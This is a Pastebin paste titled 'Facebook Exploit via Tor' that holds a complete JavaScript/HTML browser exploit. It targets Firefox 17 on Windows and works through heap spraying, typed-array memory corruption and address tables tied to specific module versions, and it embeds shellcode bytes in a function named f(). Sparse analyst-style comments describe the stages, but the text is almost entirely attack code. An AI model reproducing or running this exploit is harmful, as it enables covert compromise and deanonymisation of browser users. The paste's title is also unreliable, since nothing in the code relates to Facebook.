Advertisement
Aluf

Facebook Exploit via Tor

Feb 8th, 2015
829
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 23.80 KB | None | 0 0
  1.  
  2.                                 ********************************
  3.                                 Facebook Exploit via Tor Network
  4.                                 ********************************
  5.  
  6.     <html>
  7.     <body>
  8.     <iframe frameborder=1  border=1 height=400 width=800 id="iframe"> </iframe>    
  9.     </body>
  10.     </html>
  11.      
  12.     <script>
  13.      
  14.     var var1=0xB0;
  15.     var var2 = new Array(var1);                                    
  16.     var var3 = new Array(var1);    
  17.     var var4 = new Array(var1);
  18.      
  19.     var var5=0xFF004;      
  20.     var var6=0x3FC01;  
  21.      
  22.     var var7=0x60000000;
  23.     var var8=0x18000000;
  24.      
  25.      
  26.     var var9=1;
  27.      
  28.     var var10 = 0x12000000;
  29.     var var11 = 0;
  30.     var var12=0; // set in b() if on Firefox 17, read in df()
  31.     // exploit will not be attempted unless var12 is set
  32.      
  33.     var var13 =0;
  34.      
  35.     // top entry point, called as onload handler
  36.     function u()
  37.     {      
  38.             if( t() == true )
  39.             {
  40.                     var9 = 1;              
  41.                     b();
  42.                     d();
  43.                     c();
  44.             }else{
  45.                     return ;
  46.             }
  47.     }
  48.      
  49.     function t() // only attempt the exploit once per session
  50.     {
  51.     //      if(typeof sessionStorage.tempStor !="undefined")
  52.     //              return false;
  53.             sessionStorage.tempStor="";
  54.             return true;
  55.     }
  56.      
  57.     function b()
  58.     {
  59.             var version = al(); // ensure Firefox on Windows
  60.             if(version <17)  
  61.            {
  62.                    window.location.href="content_1.html";
  63.            } // "content_1.html" was never obtained
  64.            if( version >=17 /* && version <18 */ )
  65.                    var12 = 0xE8;
  66.             return ;
  67.     }
  68.      
  69.     function aj(version) // confirm Windows platform
  70.     {
  71.             var i = navigator.userAgent.indexOf("Windows NT");
  72.             if (i != -1)
  73.                     return true;
  74.             return false;
  75.     }
  76.      
  77.     function ak() // confirm Firefox browser
  78.     {
  79.             var ua = navigator.userAgent;
  80.             var browser = ua.substring(0, ua.lastIndexOf("/"));
  81.             browser = browser.substring(browser.lastIndexOf(" ") + 1);
  82.             if (browser != "Firefox")
  83.                     return -1;
  84.      
  85.             var version = ua.substring(ua.lastIndexOf("/") + 1);
  86.             version = parseInt(version.substring(0, version.lastIndexOf(".")));
  87.             return version;
  88.     }
  89.      
  90.     function al() // get browser version, -1 if not exploitable
  91.     {
  92.             version = ak();
  93.      
  94.             if (!aj(version))
  95.                     return -1;
  96.             return version;
  97.     }
  98.                    
  99.     function d()
  100.     {
  101.             for(var j=0;j<var1;j++)
  102.            {
  103.                    if( j<var1/8 || j==var1-1)
  104.                    {
  105.                            var tabb = new Array(0x1ED00);
  106.                            var4[j]=tabb;
  107.                            for(i=0;i<0x1ED00;i++)
  108.                            {
  109.                                    var4[j][i]=0x11559944;
  110.                            }      
  111.                    }
  112.                    var2[j]= new ArrayBuffer(var5);
  113.            }
  114.            for(var j=0;j<var1;j++)
  115.            {
  116.                    var3[j]= new Int32Array(var2[j],0,var6);
  117.                    var3[j][0]=0x11336688;                                                                                
  118.                  
  119.                    for(var i=1;i<16;i++)  
  120.                    {                                      
  121.                            var3[j][0x4000*i] = 0x11446688;                                                        
  122.                    }
  123.                          
  124.            }      
  125.    
  126.            for(var j=0;j<var1;j++)
  127.            {
  128.                    if(typeof var4[j] !="undefined")
  129.                    {
  130.                            var4[j][0]=0x22556611;  
  131.                    }
  132.            }
  133.    }
  134.    
  135.    // load the next piece of the exploit
  136.    function c()
  137.    {
  138.            var iframe=document.getElementById("iframe");
  139.            iframe.src="content_2a.html";
  140.    }
  141.    
  142.    // functions below here are called from the other iframes
  143.    
  144.    // df() is passed through content_2 and used by content_3
  145.    // called nowhere else
  146.    // The exploit is not attempted if this returns zero.
  147.    // Note that var12 will be zero unless on Firefox 17.
  148.    // The returned value is used as part of a heap spray in content_3.
  149.    function df()
  150.    {
  151.            if(var12==0)
  152.            {
  153.                    return 0x00000000;
  154.            }
  155.            var var14 = var10 + 0x00010000 * var11 + 0x0000002B;
  156.    
  157.            if( var9 == 1 || var9 == 2)
  158.                    return ( var14 - var12);
  159.            else
  160.                    return 0x00000000;
  161.    }
  162.    
  163.    // w() is called from the second time content_2 is loaded
  164.    function w()
  165.    {
  166.            if(var9==1)
  167.                    v();
  168.            else
  169.                    x();
  170.    }
  171.    
  172.    function v()
  173.    {
  174.            if(k() == -1)
  175.            {
  176.                    var11 = p();
  177.                    var9 = 2;      
  178.                    c();
  179.            }else{
  180.                    x();
  181.            }
  182.    }
  183.    
  184.    //  This quickly becomes a huge mess that is obviously depending
  185.    // on the JS runtime to screw up in some arcane way.  Little is
  186.    // known about the actual exploit, other than some apparent
  187.    // shellcode in function f().  Here be dragons.
  188.    
  189.    function k()
  190.    {
  191.            for(var j=0;j<var1;j++)
  192.            {
  193.                    if(var2[j].byteLength!=var5)
  194.                    {
  195.                            return j;
  196.                    }
  197.            }
  198.            return -1;
  199.    }
  200.    
  201.    function p()
  202.    {
  203.            for(var j=0;j<var1;j++)
  204.            {
  205.                    for(var i=1;i<16;i++)
  206.                    {
  207.                            if(var3[j][i*0x4000-0x02]==0x01000000)
  208.                            {
  209.                                    return -i;
  210.                            }
  211.                    }
  212.            }
  213.            return 0;
  214.    }
  215.    
  216.    function x()
  217.    {
  218.    
  219.            var var60 = k();
  220.            if(var60==-1)
  221.                    return ;                      
  222.    
  223.            var nextvar60 = q(var60);
  224.            if(nextvar60==-1)
  225.                    return ;                              
  226.                  
  227.            var var61 = o(var60);
  228.            var var62  = new Int32Array(var2[nextvar60],0,var8);
  229.            var var58 = n(var62,var61);
  230.            if(var58==-1)
  231.                    return ;                      
  232.    
  233.            var var50 = m(var62,var58);
  234.    
  235.            var13 = var10 + 0x00100000 + 0x00010000 * var11;
  236.            e(var62);
  237.    
  238.            l(var62,var58);
  239.    
  240.            var var64 = var4[var50][0];
  241.    
  242.            ac(var64,var50,var62,var58,var60);
  243.    }
  244.    
  245.    function q(var60)
  246.    {
  247.            var view  = new Int32Array(var2[var60],0,0x00040400);
  248.            view[0x00100000/4-0x02]=var7;
  249.            if(var2[var60+1].byteLength==var7)
  250.                    return var60+1;
  251.            return -1;
  252.    }
  253.    
  254.    function o(var60)
  255.    {
  256.            var view  = new Int32Array(var2[var60],0,0x00040400);
  257.    
  258.            var var59 = view[0x00100000/4-0x0C];
  259.            var var57 = var10 + 0x00100000 + 0x00010000 * var11;  
  260.    
  261.            return ((var59 - var57)/4);
  262.    }
  263.    
  264.    function n(view,firstvar58)
  265.    {
  266.            var var57 = var10 + 0x00100000 + 0x00010000 * var11;  
  267.            var var58=0;
  268.            for(var i=0;i<200;i++)
  269.            {
  270.                    if(view[var58] != 0x11336688)  
  271.                    {
  272.                            if(view[var58] == 0x22556611 )  
  273.                                    return  var58;
  274.                            else
  275.                                    return -1;
  276.                    }
  277.                    if(var58==0)
  278.                    {
  279.                            var58 = firstvar58;
  280.                    }else{
  281.                            var var59=view[var58-0x0C];
  282.                            var58 = (var59 - var57)/4;
  283.                    }
  284.            }
  285.            return -1;
  286.    }
  287.    
  288.    function m(view,var58)
  289.    {
  290.            view[var58]=0x00000000;  
  291.            for(var j=0;j<var1;j++)
  292.            {
  293.                    if(typeof var4[j] !="undefined")
  294.                    {
  295.                            if(var4[j][0]!=0x22556611)
  296.                                    return j;
  297.                    }
  298.            }
  299.            return -1
  300.    }
  301.    
  302.    function e(view)
  303.    {
  304.            var i=0;
  305.            for(i=0;i<0x400;i++)
  306.            {
  307.                    view[i] = var13+0x1010 ;
  308.            }
  309.            view[0x0]=var13+0x1010;                
  310.            view[0x44]=0x0;                        
  311.            view[0x45]=0x0;                        
  312.            view[0x400-4]=var13+0x1010;    
  313.            view[0x400]=0x00004004;                        
  314.            view[0x401]=0x7FFE0300;                        
  315.    }
  316.    
  317.    function l(view,var58)
  318.    {
  319.            view[var58] = var13 + 0x1030;  
  320.            view[var58+1] = 0xFFFFFF85;            
  321.    }
  322.    
  323.    function ac(var64,var50,var62,var58,var60)
  324.    {
  325.            var var15=ah(var64);
  326.    
  327.            f(var15,var62,var58);
  328.    
  329.            y(var50);
  330.            var var66 = aa(var62,var58+2);
  331.    
  332.            var var67 = i(var66,0x40,var50,var62) ;
  333.            j(var67,var62);
  334.    
  335.            g(var50,var62);
  336.            ab(var13+0x1040 ,var62,var58+2);
  337.    
  338.            r(var60)
  339.            setTimeout(ad,1000);
  340.            z(var50);
  341.    }      
  342.    
  343.    function ah(var73)
  344.    {
  345.            var var74 = var73.substring(0,2);
  346.        var var70 = var74.charCodeAt(0);
  347.        var var71 = var74.charCodeAt(1);
  348.        var var75 = (var71 << 16) + var70;
  349.        if (var75 == 0)
  350.        {
  351.            var var76 = var73.substring(32, 34);
  352.            var var70 = var76.charCodeAt(0);
  353.            var var71 = var76.charCodeAt(1);
  354.            var75 = (var71 << 16) + var70;
  355.        }
  356.        var var15 = am(var75);
  357.        if (var15 == -1)
  358.        {
  359.            return;
  360.        }
  361.        return var15
  362.    }
  363.    
  364.    function am(var77)
  365.    {
  366.        var var15 = new Array(2);
  367.         if (var77 % 0x10000 == 0xE510)                                    
  368.         {      
  369.            var78 = var77 - 0xE510;
  370.            var15[0] = var78 + 0xE8AE;                  
  371.            var15[1] = var78 + 0xD6EE;                  
  372.        }
  373.        else if (var77 % 0x10000 == 0x9A90)                        
  374.        {  
  375.            var78 = var77 - 0x69A90;
  376.            var15[0] = var78 + 0x6A063;                
  377.            var15[1] = var78 + 0x68968;                  
  378.        }
  379.        else if (var77 % 0x10000 == 0x5E70)                                
  380.        {  
  381.            var78 = var77 - 0x65E70;
  382.            var15[0] = var78 + 0x66413;                  
  383.            var15[1] = var78 + 0x64D34;                
  384.        }
  385.        else if (var77 % 0x10000 == 0x35F3)                                
  386.        {  
  387.            var78 = var77 - 0x335F3;
  388.            var15[0] = var78 + 0x4DE13;                  
  389.            var15[1] = var78 + 0x49AB8;                  
  390.        }
  391.        else if (var77 % 0x10000 == 0x5CA0)                                
  392.        {  
  393.            var78 = var77 - 0x65CA0;
  394.            var15[0] = var78 + 0x66253;                
  395.            var15[1] = var78 + 0x64B84;                  
  396.        }
  397.        else if (var77 % 0x10000 == 0x5CD0)                                
  398.        {  
  399.            var78 = var77 - 0x65CD0;
  400.            var15[0] = var78 + 0x662A3;                  
  401.            var15[1] = var78 + 0x64BA4;                
  402.          
  403.        }
  404.        else if (var77 % 0x10000 == 0x6190)                        
  405.        {
  406.            var78 = var77 - 0x46190;
  407.            var15[0] = var78 + 0x467D3;                
  408.            var15[1] = var78 + 0x45000;                  
  409.          
  410.        }
  411.        else if (var77 % 0x10000 == 0x9CB9)                        
  412.        {  
  413.            var78 = var77 - 0x29CB9;
  414.            var15[0] = var78 + 0x29B83;                
  415.            var15[1] = var78 + 0xFFC8;                  
  416.        }
  417.        else if (var77 % 0x10000 == 0x9CE9)                
  418.        {  
  419.            var78 = var77 - 0x29CE9;
  420.            var15[0] = var78 + 0x29BB3;                
  421.            var15[1] = var78 + 0xFFD8;                  
  422.        }
  423.        else if (var77 % 0x10000 == 0x70B0)                                
  424.        {  
  425.            var78 = var77 - 0x470B0;
  426.            var15[0] = var78 + 0x47733;                  
  427.            var15[1] = var78 + 0x45F18;                
  428.        }
  429.        else if (var77 % 0x10000 == 0x7090)                        
  430.        {  
  431.            var78 = var77 - 0x47090;
  432.            var15[0] = var78 + 0x476B3;              
  433.            var15[1] = var78 + 0x45F18;                
  434.        }
  435.        else if (var77 % 0x10000 == 0x9E49)                        
  436.        {
  437.            var78 = var77 - 0x29E49;
  438.            var15[0] = var78 + 0x29D13;                
  439.            var15[1] = var78 + 0x10028;                
  440.        }
  441.        else if (var77 % 0x10000 == 0x9E69)                
  442.        {
  443.            var78 = var77 - 0x29E69;
  444.            var15[0] = var78 + 0x29D33;              
  445.            var15[1] = var78 + 0x10018;              
  446.        }
  447.      
  448.        else if (var77 % 0x10000 == 0x9EB9)                
  449.        {
  450.            var78 = var77 - 0x29EB9;      
  451.            var15[0] = var78 + 0x29D83;              
  452.            var15[1] = var78 + 0xFFC8;              
  453.        }
  454.        else
  455.        {
  456.            return -1;                        
  457.        }
  458.      
  459.        return var15;
  460.    }
  461.    
  462.    function f(var15,view,var16)
  463.    {
  464.            var magneto = "";
  465.            var magneto = ("\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"\u4141\u4141"+"");
  466.            var var29 = magneto;
  467.            var var17 = "\u9060";
  468.            var var18 = "\u9061";
  469.            var var19 = "\uC481\u0000\u0008" ;
  470.            var var20 = "\u2589\u3000"+String.fromCharCode((var13 >> 16)  & 0x0000FFFF);
  471.             var var21="\u258B\u3000"+String.fromCharCode((var13 >> 16)  & 0x0000FFFF);
  472.             var var22 = "\uE589";
  473.             var var23 ="\uC3C9";
  474.             var var24  = "\uE889";        
  475.             var24 += "\u608D\u90C0";      
  476.      
  477.             var var25 = var10 + 0x00010000 * var11 + 0x00000030 + 0x00100000;
  478.             var var26 = var25 + var16*4
  479.      
  480.             var var27 =""
  481.             var27 += "\uB890\u2020\u2020";                                              
  482.             var27 += "\uA390"+ae(var26+0x00);
  483.             var27 += "\uA390"+ae(var26+0x04);
  484.             var27 += "\uA390"+ae(var26+0x08);
  485.             var27 += "\uA390"+ae(var26+0x0C);
  486.      
  487.             var var28  = var17;
  488.             var28 += var20;
  489.             var28 += var19;
  490.             var28 += var22;
  491.             var28 += var27;
  492.             var28 += var29;
  493.         var28 += var21;
  494.         var28 += var18;
  495.         var28 += var23;
  496.             var var29Array = new Array();
  497.             var29Array=ag(var28);
  498.      
  499.             var var29Ad = var13+0x5010;
  500.             var i=0;
  501.             var j=0;
  502.             var var30=var13+0x4048;
  503.             var var31 = new Array();
  504.      
  505.             var31[0]=var30;                        
  506.             var31[1]=var30;                        
  507.             var31[2]=var30;                        
  508.             var31[3]=var15[1];                    
  509.             var31[4]=var29Ad;              
  510.             var31[5]=0xFFFFFFFF;                  
  511.             var31[6]=var13+0x4044;
  512.             var31[7]=var13+0x4040;
  513.             var31[8]=0x00000040;                  
  514.             var31[9]=var13+0x4048;
  515.             var31[10]=0x00040000;          
  516.             var31[11]=var29Ad;            
  517.             var31[12]=var13+0x301C;
  518.                    
  519.             for(var i=0 ; i < 0x140 ; i++)
  520.            {
  521.                    var31[i+15]=var15[0];
  522.            }      
  523.            var var32 = 0x3F8;            
  524.            view[0x800+0+var32]=var13+0x4018;  
  525.            view[0x800+1+var32]=var13+0x4018;
  526.            for(var i=2 ; i < var31.length  ; i++)
  527.            {
  528.                    view[0x800+i+var32]=  0x41414141;
  529.            }              
  530.            for(var i=0 ; i < var31.length  ; i++)
  531.            {
  532.                    view[0xC02+i+var32]=  var31[i];
  533.            }                              
  534.            for(var i=0 ; i < var29Array.length ; i++)
  535.            {
  536.                    view[0x1000 + i+var32] = var29Array[i];
  537.            }                      
  538.          
  539.    }
  540.    
  541.    function ae(int32)
  542.    {
  543.        var var68 = String.fromCharCode((int32)& 0x0000FFFF);
  544.        var var69 = String.fromCharCode((int32 >> 16)  & 0x0000FFFF);
  545.         return var68+var69;
  546.     }  
  547.        
  548.     function af(string)
  549.     {              
  550.         var var70 = string.charCodeAt(0);
  551.         var var71 = string.charCodeAt(1);
  552.         var var72 = (var71 << 16) + var70;
  553.            return var72;
  554.    }      
  555.                  
  556.    function ag(string)
  557.    {      
  558.            if(string.length%2!=0)
  559.                    string+="\u9090";
  560.            var intArray= new Array();
  561.            for(var i=0 ; i*2 < string.length; i++ )
  562.                    intArray[i]=af(string[i*2]+string[i*2+1]);
  563.            return intArray;
  564.    }      
  565.                  
  566.    function y(index)
  567.    {
  568.            var4[index][1]= document.createElement('span') ;
  569.    }              
  570.    
  571.    function aa(view,var63)
  572.    {
  573.            return view[var63];
  574.    }      
  575.    
  576.    function i(address,size,var50,view)
  577.    {
  578.            var var56 = size/2;
  579.            var56 = var56*0x10 +0x04;
  580.            view[0x400]=var56;              
  581.            view[0x401]=address;    
  582.            return var4[var50][0];
  583.    }
  584.    
  585.    function j(memory,view)
  586.    {
  587.            var intArray=ag(memory);
  588.            for(var i=0 ; i < intArray.length  ; i++)
  589.            {
  590.                    view[0x404+i]=intArray[i];            
  591.            }
  592.    }
  593.    
  594.    function g(var50,view)
  595.    {
  596.            var k = h(var50,view);
  597.            var j=0;
  598.            if( k < 0 )
  599.                    return -1;
  600.            view[0x404+k]=var13+0x3010;
  601.            return 1;
  602.    }
  603.    
  604.    function h(var50,view)
  605.    {
  606.            var address=0;
  607.            var u=0;
  608.            var memory="";
  609.            var var55=0;
  610.            for( u =7; u >=4 ;u--)
  611.             {
  612.                     address=view[0x404+u];
  613.                     if( address > 0x000A0000 && address < 0x80000000 )  
  614.                    {
  615.                            memory = i(address,0x48,var50,view);
  616.                             var55=af(memory[0x14]+memory[0x15]);
  617.                             if(var55==address)
  618.                             {
  619.                                     return u;
  620.                             }                              
  621.                     }
  622.             }
  623.             return -1;
  624.     }
  625.      
  626.     function ab(address,view,var63)
  627.     {
  628.             view[var63]=address;
  629.     }      
  630.      
  631.     function r(var60)
  632.     {
  633.             var view  = new Int32Array(var2[var60],0,0x00040400);
  634.             view[0x00100000/4-0x02]=var5;
  635.     }
  636.      
  637.     function z(index,index2)
  638.     {
  639.             var4[index][1].innerHTML;
  640.     }              
  641.      
  642.     // ad() is called through setTimeout
  643.     function ad()
  644.     {
  645.             for(var j=0;j<var1;j++)
  646.            {
  647.                    delete var3[j]
  648.                    var3[j]= null;
  649.                  
  650.                    delete var2[j];
  651.                    var2[j] = null;
  652.    
  653.                    if(typeof var4[j] !="undefined")
  654.                    {
  655.                            delete var4[j];        
  656.                            var4[j] = null;
  657.                    }      
  658.            }      
  659.            delete var2;
  660.            delete var3;
  661.            delete var4;  
  662.            var2=null;
  663.            var3=null;
  664.            var4=null;    
  665.    }
  666.    
  667.    window.addEventListener("onload", u(),true);
  668.    
  669.    </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement